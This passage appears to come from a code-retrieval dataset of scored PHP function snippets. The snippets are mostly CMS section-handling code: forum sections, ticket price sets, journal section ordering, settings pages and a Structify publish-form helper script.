'forum.section',\n\t\t\t\t\t'scope_id' => $section->get('id'),\n\t\t\t\t\t'description' => Lang::txt('PLG_GROUPS_FORUM_ACTIVITY_SECTION_' . ($fields['id'] ? 'UPDATED' : 'CREATED'), '<a href=\"' . Route::url($this->base) . '\">' . $section->get('title') . '</a>'),\n\t\t\t\t\t'details' => array(\n\t\t\t\t\t\t'title' => $section->get('title'),\n\t\t\t\t\t\t'url' => Route::url($this->base)\n\t\t\t\t\t)\n\t\t\t\t],\n\t\t\t\t'recipients' => array(\n\t\t\t\t\t['group', $this->group->get('gidNumber')],\n\t\t\t\t\t['forum.' . $this->forum->get('scope'), $this->forum->get('scope_id')],\n\t\t\t\t\t['forum.section', $section->get('id')],\n\t\t\t\t\t['user', $section->get('created_by')]\n\t\t\t\t)\n\t\t\t]);\n\t\t}\n\n\t\t// Set the redirect\n\t\tApp::redirect(\n\t\t\tRoute::url($this->base)\n\t\t);\n\t}", "title": "" }, { "docid": "5e76605dd78971e4d4aa777eaeab3cc8", "score": "0.5128326", "text": "function select_section($showid=NULL,$date=NULL) { \n $data = [];\n //var_dump($showid); die;\n $data['current'] = 'layout';\n $data['page_title'] = 'POS - Select Ticket';\n $data['search_url'] = base_url().'/shows/search';\n $data['go_back'] = $this->request->getUserAgent()->getReferrer();\n $data['categories'] = $this->model->get_categories();\n $data['forsrc'] = ''; \n if(isset($date) && isset($showid) && $date > \"2018-01-01\") {\n $data['showid'] = $showid;\n $data['date'] = $date;\n $data['content'] = $this->model->get_show_data((int)$showid);\n //print_r($data['content']); die;\n $data['page'] = $data['content']->pageinfo;\n $data['form_action'] = base_url().'/section';\n $data['content']->pageinfo->body = \"<h1>\".$data['page']->title.\"</h1>\";\n\n\t\t\t\t//rewrite page title\n\t\t\t\t$data['page']->title = $data['page']->title . \" - \". date(\"M j, Y\", strtotime($date));\n\n $data['instances'] = $this->model->get_individual_date($showid,$date);\n \n //$data['listingoptions'] = \"\";\n foreach($data['instances'] as $insta) {\n //print_r($insta); die;\n if (isset($insta->pricesets)){\n\t\t\t\t\t\t//INSTANCE HAS PRICESET\n\t\t\t\t\t\t$thisps = explode(\",\", $insta->pricesets);\n\t\t\t\t\t\t$ps = $this->model->pricesets(NULL, $insta->content);\n\n\t\t\t\t\t\t$activepricesets = array();\n\t\t\t\t\t\tforeach ($ps as $key=>$priceset){\n\t\t\t\t\t\t\tif (in_array($key, $thisps)) {\n\t\t\t\t\t\t\t\t$activepricesets[$key] = $priceset;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$data['pricesets'] = $activepricesets;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t//NO PRICESET FOR INSTANCE\n\t\t\t\t\t\t$data['pricesets'] = $this->model->pricesets(NULL, $insta->content);\n\t\t\t\t\t}\n \n if($data['pricesets'])\n $data['listingoptions'] = $this->picklistingoptions($insta->content,\n $data['content']->pageinfo->venue,\n $date,\n $insta->start_time,\n $data['pricesets'],\n $this->request->getPost());\n\n //+\n //echo \"<pre>\"; var_dump($data['pricesets'][$insta->pricesets]->price5); \"</pre>\"; die;\n $data['listing_markup'] = $this->model->structured_markup($data['page'],$date,$insta->start_time,$data['pricesets']);\n }\n $data['pcount'] = 0;\n $data['price_seg']= [];\n $data['price_type'] = [];\n //print_r($data['pricesets'][$insta->pricesets]); die;\n if(!empty($data['pricesets'][$insta->pricesets]->price1)) { \n $data['pcount']++;\n $data['price_seg'][$data['pcount']] = trim($data['pricesets'][$insta->pricesets]->price1, '$');\n $data['price_type'][$data['pcount']] = $data['pricesets'][$insta->pricesets]->type1;\n } \n if(!empty($data['pricesets'][$insta->pricesets]->price2)) { \n $data['pcount']++;\n $data['price_seg'][$data['pcount']] = trim($data['pricesets'][$insta->pricesets]->price2, '$');\n $data['price_type'][$data['pcount']] = $data['pricesets'][$insta->pricesets]->type2;\n } \n if(!empty($data['pricesets'][$insta->pricesets]->price3)) { \n $data['pcount']++;\n $data['price_seg'][$data['pcount']] = trim($data['pricesets'][$insta->pricesets]->price3, '$');\n $data['price_type'][$data['pcount']] = $data['pricesets'][$insta->pricesets]->type3;\n \n }\n if(!empty($data['pricesets'][$insta->pricesets]->price4) ){ \n $data['pcount']++;\n $data['price_seg'][$data['pcount']] = trim($data['pricesets'][$insta->pricesets]->price4, '$');\n $data['price_type'][$data['pcount']] = $data['pricesets'][$insta->pricesets]->type4;\n if (strpos($data['pricesets'][$insta->pricesets]->type4, 'Family') !== false) {\n $data['no_of_seats'][$data['pcount']] = 0; \n }\n }\n if(!empty($data['pricesets'][$insta->pricesets]->price5)) { \n $data['pcount']++;\n $data['price_seg'][$data['pcount']] = trim($data['pricesets'][$insta->pricesets]->price5, '$');\n $data['price_type'][$data['pcount']] = $data['pricesets'][$insta->pricesets]->type5;\n if (strpos($data['pricesets'][$insta->pricesets]->type5, 'Family') !== false) {\n $data['no_of_seats'][$data['pcount']] = 0; \n }\n } \n if(!empty($data['pricesets'][$insta->pricesets]->price6)) { \n $data['pcount']++;\n $data['price_seg'][$data['pcount']] = trim($data['pricesets'][$insta->pricesets]->price6, '$');\n $data['price_type'][$data['pcount']] = $data['pricesets'][$insta->pricesets]->type6;\n } \n if(!empty($data['pricesets'][$insta->pricesets]->price7)) { \n $data['pcount']++;\n $data['price_seg'][$data['pcount']] = trim($data['pricesets'][$insta->pricesets]->price7, '$');\n $data['price_type'][$data['pcount']] = $data['pricesets'][$insta->pricesets]->type7;\n } \n \n }\n //echo \"<pre>\"; print_r($data['listingoptions']['opts']); \"</pre>\"; die;\n return view('product_layout',$data);\n }", "title": "" }, { "docid": "4e4b5cfa5885af9d99255bb829a6d669", "score": "0.5121476", "text": "function dnw_display_section($section){ \n}", "title": "" }, { "docid": "38ee7c399fa61761fa8b7a049a872c96", "score": "0.51097685", "text": "function setNumberViews($id)\n {\n $dbMain = db_getDBObject(DEFAULT_DB, true);\n if (defined(\"SELECTED_DOMAIN_ID\")) {\n $dbObj = db_getDBObjectByDomainID(SELECTED_DOMAIN_ID, $dbMain);\n } else {\n $dbObj = db_getDBObject();\n }\n\n unset($dbMain);\n $sql = \"UPDATE Article SET number_views = \" . $this->number_views . \" + 1 WHERE Article.id = \" . $id;\n $dbObj->query($sql);\n\n if ($symfonyContainer = SymfonyCore::getContainer()) {\n $symfonyContainer->get(\"article.synchronization\")->addViewUpdate($id);\n }\n }", "title": "" }, { "docid": "dcd0f424e299334c5746823160ccebab", "score": "0.5102023", "text": "function changeSection($sectionEditorSubmission, $sectionId) {\n\t\tif (!HookRegistry::call('SectionEditorAction::changeSection', array(&$sectionEditorSubmission, $sectionId))) {\n\t\t\t$sectionEditorSubmissionDao =& DAORegistry::getDAO('SectionEditorSubmissionDAO');\n\t\t\t$sectionEditorSubmission->setSectionId($sectionId);\n\t\t\t$sectionEditorSubmissionDao->updateSectionEditorSubmission($sectionEditorSubmission);\n\t\t}\n\t}", "title": "" }, { "docid": "36d71f554ffad1f7f87c47f48971e808", "score": "0.5099722", "text": "function section($args){\r\n\t\t$sectionId = isset($args[0]) ? (int) $args[0] : 0;\r\n\t\t$templateMgr =& TemplateManager::getManager();\r\n\t\t$this->setupTemplate();\r\n\t\t$journal =& Request::getJournal();\r\n\t\t\r\n\t\t// For security purposes\r\n\t\t$thisUser =& Request::getUser();\r\n\t\tif ($thisUser->getSecretaryCommitteeId() == $sectionId) {\r\n\t\t\t\r\n\t\t\t// Get ERC\r\n\t\t\t$sectionDao =& DAORegistry::getDAO('SectionDAO');\r\n\t\t\t$erc =& $sectionDao->getSection($sectionId);\r\n\t\t\r\n\t\t\t// Get all the secretaries enrolled in this specific erc\r\n\t\t\t$sectionEditorsDao =& DAORegistry::getDAO('SectionEditorsDAO');\r\n\t\t\t$secretaries = $sectionEditorsDao->getEditorsBySectionId($journal->getId(), $sectionId);\r\n\t\t\r\n\t\t\t// Get all the different members enrolled in this specific erc\r\n\t\t\t$ercReviewersDao =& DAORegistry::getDAO('ErcReviewersDAO');\t\t\r\n\t\t\t$members = $ercReviewersDao->getReviewersBySectionIdByStatus($journal->getId(), $sectionId, 3);\r\n\t\t\t$chairs = $ercReviewersDao->getReviewersBySectionIdByStatus($journal->getId(), $sectionId, 1);\r\n\t\t\t$viceChairs = $ercReviewersDao->getReviewersBySectionIdByStatus($journal->getId(), $sectionId, 2);\t\t\r\n\t\t\r\n\t\t\t$templateMgr->assign_by_ref('erc', $erc);\r\n\t\t\t$templateMgr->assign_by_ref('secretaries', $secretaries);\r\n\t\t\t$templateMgr->assign_by_ref('members', $members);\r\n\t\t\t$templateMgr->assign_by_ref('chairs', $chairs);\r\n\t\t\t$templateMgr->assign_by_ref('viceChairs', $viceChairs);\r\n\t\t\t$templateMgr->assign_by_ref('thisUser', Request::getUser());\r\n\t\t\t$templateMgr->assign('sectionId', $sectionId);\r\n\t\t\r\n\t\t\t$templateMgr->display('sectionEditor/section.tpl');\r\n\t\t} else Request::redirect(null, 'user');\r\n\t}", "title": "" }, { "docid": "2c6d338960e23803a02cdd6cd97c3ea1", "score": "0.50925535", "text": "public static function modify(array $section) : string\r\n {\r\n // tab to activate\r\n $curr_tab = 'p';\r\n $curr_tpl = 'articles';\r\n if (isset($_REQUEST['tab']) && in_array($_REQUEST['tab'], array('p','g','s','o','r'))) {\r\n $curr_tab = $_REQUEST['tab'];\r\n }\r\n\r\n $data = array(\r\n 'is_admin' => false,\r\n );\r\n\r\n // switch action\r\n switch($curr_tab) {\r\n // ----- group actions -----------------------------------------\r\n case 'g':\r\n $curr_tpl = 'groups';\r\n if(isset($_REQUEST['add_group']) && !empty($_REQUEST['title'])) {\r\n if(!self::addGroup()) {\r\n self::$errors[] = cmsbridge::t('Unable to add the group!');\r\n } else {\r\n self::$info[] = cmsbridge::t('Group successfully added');\r\n }\r\n }\r\n if(isset($_REQUEST['del_group'])) {\r\n if(!self::delGroup()) {\r\n self::$errors[] = cmsbridge::t('Unable to delete the group!');\r\n } else {\r\n self::$info[] = cmsbridge::t('Group successfully deleted');\r\n }\r\n }\r\n if(isset($_REQUEST['group_id'])) {\r\n // just activate/deactivate?\r\n if(isset($_REQUEST['active']) && !isset($_REQUEST['save']) && !isset($_REQUEST['saveandback'])) {\r\n self::activateGroup(intval($_REQUEST['group_id']));\r\n } else {\r\n $return = self::editGroup(intval($_REQUEST['group_id']));\r\n if(!empty($return)) {\r\n return $return;\r\n }\r\n }\r\n }\r\n $data['groups'] = self::getGroups();\r\n $data['num_groups'] = 0;\r\n\r\n break;\r\n // ----- settings (options) ------------------------------------\r\n case 'o':\r\n $curr_tpl = 'settings';\r\n if(isset($_REQUEST['mode']) && in_array($_REQUEST['mode'],array('default','advanced'))) {\r\n cmsbridge::db()->query(sprintf(\r\n 'UPDATE `%s%s` SET `mode`=\"%s\"',\r\n cmsbridge::dbprefix(), self::$tables['settings'],\r\n $_REQUEST['mode']\r\n ));\r\n }\r\n if(isset($_REQUEST['save_settings']) || isset($_REQUEST['preset_name'])) {\r\n self::saveSettings();\r\n }\r\n break;\r\n // ----- posts (articles) - default view -----------------------\r\n case 'p':\r\n if(isset($_REQUEST['mod_journal_add_article'])) {\r\n return self::addArticle();\r\n }\r\n if(isset($_REQUEST['import'])) {\r\n self::Import();\r\n }\r\n if(isset($_REQUEST['article_id'])) {\r\n // just activate/deactivate?\r\n if(isset($_REQUEST['active']) && !isset($_REQUEST['save']) && !isset($_REQUEST['saveandback'])) {\r\n self::activateArticle(intval($_REQUEST['article_id']));\r\n } else {\r\n $content = self::editArticle(intval($_REQUEST['article_id']));\r\n if(strlen($content)) {\r\n return $content;\r\n }\r\n }\r\n }\r\n $data['articles'] = self::getArticles(self::$sectionID,true, '');;\r\n $data['num_articles'] = count($data['articles']);\r\n\r\n break;\r\n // ----- tags (\"Stichworte\") -----------------------------------\r\n case 's':\r\n $curr_tpl = 'tags';\r\n if(isset($_REQUEST['new_tag'])) {\r\n self::addTag();\r\n }\r\n if(isset($_REQUEST['tag_id']) && !isset($_REQUEST['cancel'])) {\r\n if(isset($_REQUEST['delete'])) {\r\n cmsbridge::db()->query(sprintf(\r\n 'DELETE FROM `%s%s` WHERE `tag_id`=%d',\r\n cmsbridge::dbprefix(), self::$tables['tags'], \r\n intval($_REQUEST['tag_id'])\r\n ));\r\n } else {\r\n return self::editTag();\r\n }\r\n }\r\n $data['tags'] = self::getTags(self::$sectionID);\r\n break;\r\n case 'r':\r\n $curr_tpl = 'readme';\r\n break;\r\n }\r\n\r\n // cleanup database (orphaned)\r\n try {\r\n cmsbridge::db()->query(sprintf(\r\n \"DELETE FROM `%s%s` WHERE `section_id`=%d and `title`=''\",\r\n cmsbridge::dbprefix(),self::$tables['articles'],self::$sectionID\r\n ));\r\n cmsbridge::db()->query(sprintf(\r\n \"DELETE FROM `%s%s` WHERE `section_id`=%d and `title`=''\",\r\n cmsbridge::dbprefix(),self::$tables['groups'],self::$sectionID\r\n ));\r\n } catch ( \\PDOException $e ) {\r\n }\r\n\r\n $data = array_merge($data, array(\r\n 'curr_tab' => $curr_tab,\r\n 'curr_tpl' => $curr_tpl,\r\n 'lang_map' => array(\r\n 0 => cmsbridge::t('Custom'),\r\n 1 => cmsbridge::t('Publishing start date').', '.cmsbridge::t('descending'),\r\n 2 => cmsbridge::t('Publishing end date').', '.cmsbridge::t('descending'),\r\n 3 => cmsbridge::t('Submitted').', '.cmsbridge::t('descending'),\r\n 4 => cmsbridge::t('ID').', '.cmsbridge::t('descending')\r\n ),\r\n 'sizes' => self::getSizePresets(),\r\n 'views' => self::getViews(),\r\n 'FTAN' => cmsbridge::getFTAN(),\r\n 'importable_sections' => self::getImportableSections(),\r\n 'orders' => self::getSortorders(),\r\n ));\r\n\r\n if(CMSBRIDGE_CMS_WBCE) {\r\n global $admin;\r\n $article_data['is_admin'] = in_array(1, $admin->get_groups_id());\r\n }\r\n if(CMSBRIDGE_CMS_BC2) {\r\n// !!!!! TODO: permissions !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\r\n $article_data['is_admin'] = \\CAT\\Base::user()->isAuthenticated();\r\n }\r\n\r\n return self::printPage(\r\n __DIR__.'/../templates/default/modify.phtml',\r\n $data\r\n );\r\n }", "title": "" }, { "docid": "c5e2bc1309dde76b0b02284e68d59741", "score": "0.50835484", "text": "public function getSectionId(): string;", "title": "" }, { "docid": "b94caace394c3700d40d941de7f469b4", "score": "0.50823075", "text": "public function setNumberOfArticles($int) {\n\t\t$this->numberOfArticles = $int;\n\t}", "title": "" }, { "docid": "88bcaa82997998914358f966e1d36340", "score": "0.5077723", "text": "public function setSections(array $sections, $pageSlug) {\n $this->settingsCallbacks = new SettingsCallbacks($sections);\n $sectionsOutput = [];\n\n\t\tforeach ($sections as $section) {\n\t\t\t$sectionTemp = [\n\t\t\t\t'group' => $pageSlug,\n\t\t\t\t'id' => $section['id'],\n\t\t\t\t'title' => $section['title'],\n\t\t\t\t'callback' => array($this->settingsCallbacks, $section['id']),\n\t\t\t\t'pageSlug' => $pageSlug,\n\t\t\t\t'fields' => []\n\t\t\t];\n\n\t\t\tforeach ($section['fields'] as $field) {\n $sectionTemp['fields'][] = [\n\t\t\t\t\t'id' => $field['id'],\n\t\t\t\t\t'title' => $field['title'],\n\t\t\t\t\t'callback' => array($this->settingsCallbacks, $field['fieldType'] . 'Field'),\n\t\t\t\t\t'settingCallback' => array($this->settingsCallbacks, 'sanitizeInput'),\n\t\t\t\t\t'args' => [\n\t\t\t\t\t\t'optionName' => $pageSlug,\n\t\t\t\t\t\t'labelFor' => $field['id'],\n\t\t\t\t\t\t'class' => isset($field['args']['class']) ? $field['args']['class'] : '',\n 'label' => isset($field['args']['label']) ? $field['args']['label'] : ''\n\t\t\t\t\t]\n\t\t\t\t];\n }\n\t\t\t$sectionsOutput[] = $sectionTemp;\n\t\t}\n\t\t$this->sections = $sectionsOutput;\n\t}", "title": "" }, { "docid": "ffdd94dbbb13c2b3c179f2f02efb38e6", "score": "0.5074722", "text": "function do_settings_sections($page)\n{\n}", "title": "" }, { "docid": "06153abb1362d4561c9fe7d738da68ae", "score": "0.50701624", "text": "public function saveSelectionAction()\r\n {\r\n // create a new selection\r\n $selection = $this->createSelectionFromRequest( true );\r\n\r\n // redirect to article again\r\n $url = array(\r\n 'module' => \"frontend\",\r\n 'controller' => \"detail\",\r\n 'action' => \"index\",\r\n 'sArticle' => $selection->getConfigurator()->getArticle()->getId(),\r\n 'atsdConfiguratorKey' => $selection->getKey(),\r\n 'atsdConfiguratorSaved' => 1\r\n );\r\n\r\n // and redirect\r\n $this->redirect( $url );\r\n }", "title": "" }, { "docid": "af5d553163733b94bac9a8af3418ce51", "score": "0.5069609", "text": "final function getSection_id() {\n\t\treturn $this->getSectionId();\n\t}", "title": "" }, { "docid": "66d5c6d75c0d68189b026f698c267c27", "score": "0.5061276", "text": "function do_section_control($oid, $o){\n\n\t\t$builder = new PageLinesTemplateBuilder($oid, $o, $this->settings_field);\n\t\t$builder->section_control_interface($oid, $o);\n\n\t}", "title": "" }, { "docid": "9cae5391d5653f465d50e09e77d541ff", "score": "0.5056476", "text": "public function onSaveSection(Event $event)\n\t{\n\t\t$this->raiseEvent('onSaveSection', $event);\n\t}", "title": "" }, { "docid": "ed97ad24cacc27fa18dca0f2f8c16f9d", "score": "0.5047991", "text": "public static function saveSectionOrder($template_id, $sectionAdd = array()){\n\n \t\t$tempSxns = self::getTemplateSections($template_id);\n \t\tforeach($tempSxns as $ts){\n \t\t\t$sId = $ts['admin_section_id'];\n \t\t\tif(isset($sectionAdd[$sId])){\n \t\t\t\t$ts['sequence'] = intVal($sectionAdd[$sId]);\n \t\t\t}\n \t\t}\n\n\t\t$tempSxns->save();\n\t}", "title": "" }, { "docid": "e2a72797f2f0494a89dfc8ad1b0218f9", "score": "0.50406843", "text": "function autoNumberingView()\r\n\t{\r\n\t\t$arrData['treeId']\t= $this->uri->segment(3);\r\n\t\t$arrData['workSpaceId']\t= $this->uri->segment(4);\r\n\t\t$arrData['workSpaceType']\t= $this->uri->segment(6);\r\n\t\t\r\n\t\tif($arrData['treeId']>0)\r\n\t\t{\r\n\t\t\t$this->load->model('dal/document_db_manager');\r\n\t\t\t$arrDocumentDetails\t= $this->document_db_manager->getDocumentDetailsByTreeId($arrData['treeId']);\r\n\t\t\t$arrData['autonumbering'] = $arrDocumentDetails['autonumbering'];\r\n\t\t\t\r\n\t\t}\r\n\t\t$this->load->view('common/auto_numbering_view', $arrData);\r\n\t}", "title": "" }, { "docid": "f2d70399bf91b47dffe33055a13005c0", "score": "0.5035686", "text": "private function import_section_order() {\n\t\t$result_order = array(\n\t\t\t'hestia_features' => 10,\n\t\t\t'hestia_ribbon' => 15,\n\t\t\t'hestia_portfolio' => 20,\n\t\t\t'hestia_about' => 25,\n\t\t\t'hestia_clients_bar' => 30,\n\t\t\t'hestia_team' => 35,\n\t\t\t'hestia_testimonials' => 40,\n\t\t\t'hestia_contact' => 45,\n\t\t\t'hestia_pricing' => 50,\n\t\t\t'sidebar-widgets-subscribe-widgets' => 55,\n\t\t\t'hestia_shop' => 60,\n\t\t\t'hestia_blog' => 65,\n\t\t);\n\t\t$section_mapping = array(\n\t\t\t'our_focus' => 'hestia_features',\n\t\t\t'portofolio' => 'hestia_portfolio',\n\t\t\t'about_us' => 'hestia_about',\n\t\t\t'our_team' => 'hestia_team',\n\t\t\t'testimonials' => 'hestia_testimonials',\n\t\t\t'right_ribbon' => 'hestia_ribbon',\n\t\t\t'contact_us' => 'hestia_contact',\n\t\t\t'packages' => 'hestia_pricing',\n\t\t\t'subscribe' => 'sidebar-widgets-subscribe-widgets',\n\t\t\t'latest_news' => 'hestia_blog',\n\t\t);\n\t\tfor ( $i = 1; $i <= 13; $i ++ ) {\n\t\t\tif ( ! empty( $this->previous_theme_content[ 'section' . $i ] ) ) {\n\t\t\t\tif ( array_key_exists( $this->previous_theme_content[ 'section' . $i ], $section_mapping ) ) {\n\t\t\t\t\t$hestia_section = $section_mapping[ $this->previous_theme_content[ 'section' . $i ] ];\n\t\t\t\t\t$result_order[ $hestia_section ] = ( $i * 5 ) + 5;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif ( empty( $sections_order ) ) {\n\t\t\tset_theme_mod( 'sections_order', json_encode( $result_order ) );\n\t\t}\n\t}", "title": "" }, { "docid": "f6fe73f6621140d7bf3de7516912d115", "score": "0.5031371", "text": "function resequenceSections($journalId) {\n\t\t$result =& $this->retrieve(\n\t\t\t'SELECT section_id FROM sections WHERE journal_id = ? ORDER BY seq',\n\t\t\t$journalId\n\t\t);\n\n\t\tfor ($i=1; !$result->EOF; $i++) {\n\t\t\tlist($sectionId) = $result->fields;\n\t\t\t$this->update(\n\t\t\t\t'UPDATE sections SET seq = ? WHERE section_id = ?',\n\t\t\t\tarray(\n\t\t\t\t\t$i,\n\t\t\t\t\t$sectionId\n\t\t\t\t)\n\t\t\t);\n\n\t\t\t$result->moveNext();\n\t\t}\n\n\t\t$result->close();\n\t\tunset($result);\n\t}", "title": "" }, { "docid": "899a84d7deffe1440a4f181e1443e619", "score": "0.5020681", "text": "function set_sections()\n\t{\n\n\t\t$this->sections['Structify'] = '\n\t\t<p>When using the publish form, the structure tab displays a drop downbox by default. Structify gives you a couple enhancements which serves as visual aids.<br /><br /><strong>Copy URL</strong><br />This will copy the url title from the publish tab to the structure page url field.<br /><br /><strong>Easy Picker</strong><br /> \"Easy Picker\" will give you a pop up dialog with a list of entries where you can choose the parent entry for this current entry.<br /><br /><strong>Expand Dropdown</strong><br /> Clicking \"Expand Dropdown\" will convert the drop down to a list box for better viewing and selection.<br /><br />If you have a very large list, Easy Picker allows you to use Ctl+F or Cmd-F to find what you are looking for. I have also added the feature where it would check if users are trying to set the parent to itself and if so, it will disable the submit button.</p>\n\t\t<style type=\"text/css\">\n\t\t\tselect#structure__parent_id { display: inline; }\n\t\t\t.dialogbox{ background: #ecf1f4; }\n\t\t\t#thanhdiv{ margin-left: 0.75em; margin-bottom: 5px; padding: 5px;}\n\t\t\t#thanhdiv button { margin-right: 5px; background: #3a4850; padding: 5px 9px; color:\t#fff; border: 0; }\n\t\t\t#thanhdiv button:hover { cursor: pointer; }\n\t\t\t#colDropdown{ display: none; }\n\t\t\t.menulist{ -webkit-appearance: menulist!important; }\n\t\t\t.listbox{ -webkit-appearance: listbox!important; }\n\t\t\t#epData small{ text-decoration: underline; }\n\t\t\tul#easyPicker{ width: 100%;}\n\t\t\tul#easyPicker li{ /* background: #D0D7DF; */ line-height: 30px; margin-bottom: 5px; display: block; }\n\t\t\tul#easyPicker li:hover{ background: #e11842; color: #fff; cursor: pointer;}\n\t\t\tul#easyPicker li:hover span{ color: #fff; }\n\t\t\tul#easyPicker li span{ font-weight: 700; color: #000; }\n\t\t\t#structwarning,#parentwarning{ color: red; display: block!important; padding: 20px 0px; }\n\t\t}\n\t\t</style>\n\t\t<script type=\"text/javascript\">\n\t\t\n\t\t$(document).ready(function() \n\t\t{\n\t\t\tvar full_url = \"' . (($this->page_url) ? $this->page_url : '') . '\";\n\t\t\tvar previous_url = $(\"input#structure__uri\").val();\n\n\t\t\tvar param = \"entry_id\";\n\t\t\tvar entryId = decodeURIComponent((new RegExp(\"[?|&]\" + param + \"=\" + \"([^&;]+?)(&|#|;|$)\").exec(location.search)||[,\"\"])[1].replace(/\\+/g, \"%20\"))||null;\n\n\t\t\tvar warningText = \"Notice: You did not select a parent entry in the Structure tab. The only pages that should not have a parent are landing pages living at the \\\"top level\\\" of the website. Are you sure you want to submit without a parent entry? \";\n\n\t\t\tvar parentWarning = \"Warning: You have set the parent entry to itself. This will not end well. The submit button is now disabled. You must change the parent entry before the submit button is re-enabled.\";\n\n\n\t\t\tif(full_url !== \"\")\t{\n\t\t\t\tvar urlify = \"<p id=\\\"fullurlify\\\">Current URL (provided by Structify): <a href=\\\"\" + full_url + \"\\\" target=\\\"_blank\\\">\" + full_url + \"</a></p>\";\n\n\t\t\t\t\t$(\"#structure__uri\").after(urlify);\n\t\t\t}\n\n\t\t\t$(\"input#structure__uri\").on(\"keyup\",function() {\n\t\t\t var current_url = $(\"input#structure__uri\").val();\n\t\t\t if(current_url == previous_url) {\n\t\t\t\t\t$(\"#fullurlify\").show();\n\t\t\t }else{\n\t\t\t \t$(\"#fullurlify\").hide();\n\t\t\t }\n\t\t\t});\n\n\n \t\tif ($(\"#structure__parent_id option[value=0]\").attr(\"selected\")) {\n \t\t\t$(\"#publish_submit_buttons\").prepend(\"<li id=\\\"structwarning\\\">\" + warningText + \"</li>\");\n \t\t}\n\n\t\t\tif ($(\"select#structure__parent_id\").length > 0) {\n\n\t\t\t\tvar button_group = \"<div id=\\\"thanhdiv\\\"><button id=\\\"curi\\\" type=\\\"button\\\">Copy URL</button><button id=\\\"epbutton\\\" type=\\\"button\\\">Easy Picker</button><button id=\\\"expandDropdown\\\" type=\\\"button\\\">Expand Dropdown</button><button id=\\\"colDropdown\\\" type=\\\"button\\\">Collapse Dropdown</button><button id=\\\"epAbout\\\" type=\\\"button\\\">?</button></div>\";\n\n\t\t\t\t$(\"#sub_hold_field_structure__parent_id\").prepend(button_group); \n\n\t\t\t\t$(\"#curi\").click(function(e) {\n\t\t\t\t\t$(\"#structure__uri\").val($(\"#url_title\").val());\n\t\t\t\t\te.preventDefault();\n\t\t\t\t});\n\n\t\t\t\t$(\"#structure__parent_id\").change(function() {\n \t\t\t\tif ($(\"#structure__parent_id option:selected\").val() != 0) {\n \t\t\t\t\t$(\"#structwarning\").hide();\n \t\t\t\t}else{\n \t\t\t\t\t$(\"#structwarning\").show();\n\t\t\t\t\t}\n \t\t\t});\n\t\t\t\t\n\t\t\t\t$(\"#expandDropdown\").click(function(e) {\n\t\t\t\t\t$(\"select#structure__parent_id\").attr(\"max-height\", \"341px\").attr(\"size\", 20).width(600);\n\t\t\t\t\t$(\"#expandDropdown\").hide();\n\t\t\t\t\t$(\"#colDropdown\").show();\n\t\t\t\t\te.preventDefault();\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\t$(\"#colDropdown\").click(function(e) {\n\t\t\t\t\t$(\"select#structure__parent_id\").removeAttr(\"size\").removeAttr(\"width\").removeAttr(\"max-height\").removeClass(\"listbox\");\n\t\t\t\t\t$(\"#colDropdown\").hide();\n\t\t\t\t\t$(\"#expandDropdown\").show();\n\t\t\t\t\te.preventDefault();\n\t\t\t\t});\n\n\t\t\t\tvar optionValues = [];\n\t\t\t\tvar optionTexts = [];\n\t\t\t\tvar selText = \"\";\n\t\t\t\tvar epOutput = \"<ul id=\\\"easyPicker\\\">\";\n\t\t\t\tvar slength = $(\"select#structure__parent_id > option\").length;\n\t\t\t\t\n\t\t\t\t$(\"select#structure__parent_id > option\").each(function() {\n\t\t\t\t\tselText = ($(this).text().substring(0, 1) == \"-\") ? $(this).text().replace(/-/g, \"&mdash;\") : \"<span>\" + $(this).text().replace(/-/g, \"&mdash;\") + \"</span>\";\n\t\t\t\t\tepOutput += \"<li rel=\\\"\" + $(this).val() + \"\\\">\" + selText + \" (id: \" + $(this).val() + \")</li>\";\n\t\t\t\t});\n\n\t\t\t\t\n\t\t\t\tepOutput += \"</ul>\";\n\n\t\t\t\tvar $epStuff = $(\"<div id=\\\"epData\\\"></div>\").html(\"<small>Tip: If this list is very long, please use \\\"Find\\\" via Ctl+F or Cmd+F</small><br /><br />\" + epOutput).dialog({ modal: true, resizable: true, height:550, autoOpen: false, width: 700, title: \"Please select the parent to this entry\"});\n\t\t\t\tvar $epAbout = $(\"<div id=\\\"epData\\\"></div>\").html(\"When using the publish form, the structure tab displays a drop downbox by default. Structify gives you a couple enhancements which serve as visual aids.<br /><br /><strong>Copy URL</strong><br />This will copy the url title from the publish tab to the structure page url field.<br /><br /><strong>Easy Picker</strong> \\\"Easy Picker\\\" will give you a pop up dialog with a list of entries where you can choose the parent entry for this current entry.<br /><br /><strong>Expand Dropdown</strong> Clicking \\\"Expand Dropdown\\\" will convert the drop down to a list box for better viewing and selection.<br /><br />If you have a very large list, Easy Picker allows you to use Ctl+F or Cmd-F to find what you are looking for. I have also added the feature where it would check if users are trying to set the parent to itself and if so, it will disable the submit button.\").dialog({ modal: true, resizable: false, autoOpen: false, width: 500, title: \"Structify v1.2 by Thanh Vuong\"});\n\t\t\t\t\n\t\t\t\t$(\"#epAbout\").click(function(e) {\n\t\t\t\t\t$epAbout.dialog(\"open\");\n\t\t\t\t\t$(\".ui-dialog\").addClass(\"dialogbox\");\n\t\t\t\t\te.preventDefault();\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\t$(\"#epbutton\").click(function(e) {\n\t\t\t\t\t$epStuff.dialog(\"open\");\n\t\t\t\t\t$(\".ui-dialog\").addClass(\"dialogbox\");\n\t\t\t\t\te.preventDefault();\n\t\t\t\t});\n\n\t\t\t\t$(\"ul#easyPicker > li\").live(\"click\", function() {\n\t\t\t\t\t$(\"select#structure__parent_id\").val($(this).attr(\"rel\")).change();\n\t\t\t\t\t$epStuff.dialog(\"close\");\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\t$(\".ui-widget-overlay\").live(\"click\", function() { $epStuff.dialog(\"close\"); $epAbout.dialog(\"close\"); } );\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t});\n\t\t\n\t\t\n\t\t</script>';\n\t}", "title": "" }, { "docid": "284f8da464595b93ebce33f6fd814ef8", "score": "0.5018127", "text": "function edd_midtrans_installment_settings_section( $sections ) {\n\t\t$sections['midtrans_installment'] = __( 'Midtrans Online Installment', 'midtrans_installment' );\n\t\treturn $sections;\n\t}", "title": "" }, { "docid": "b57c4ca4c45b1f19c1cc2a339069e730", "score": "0.49929827", "text": "function 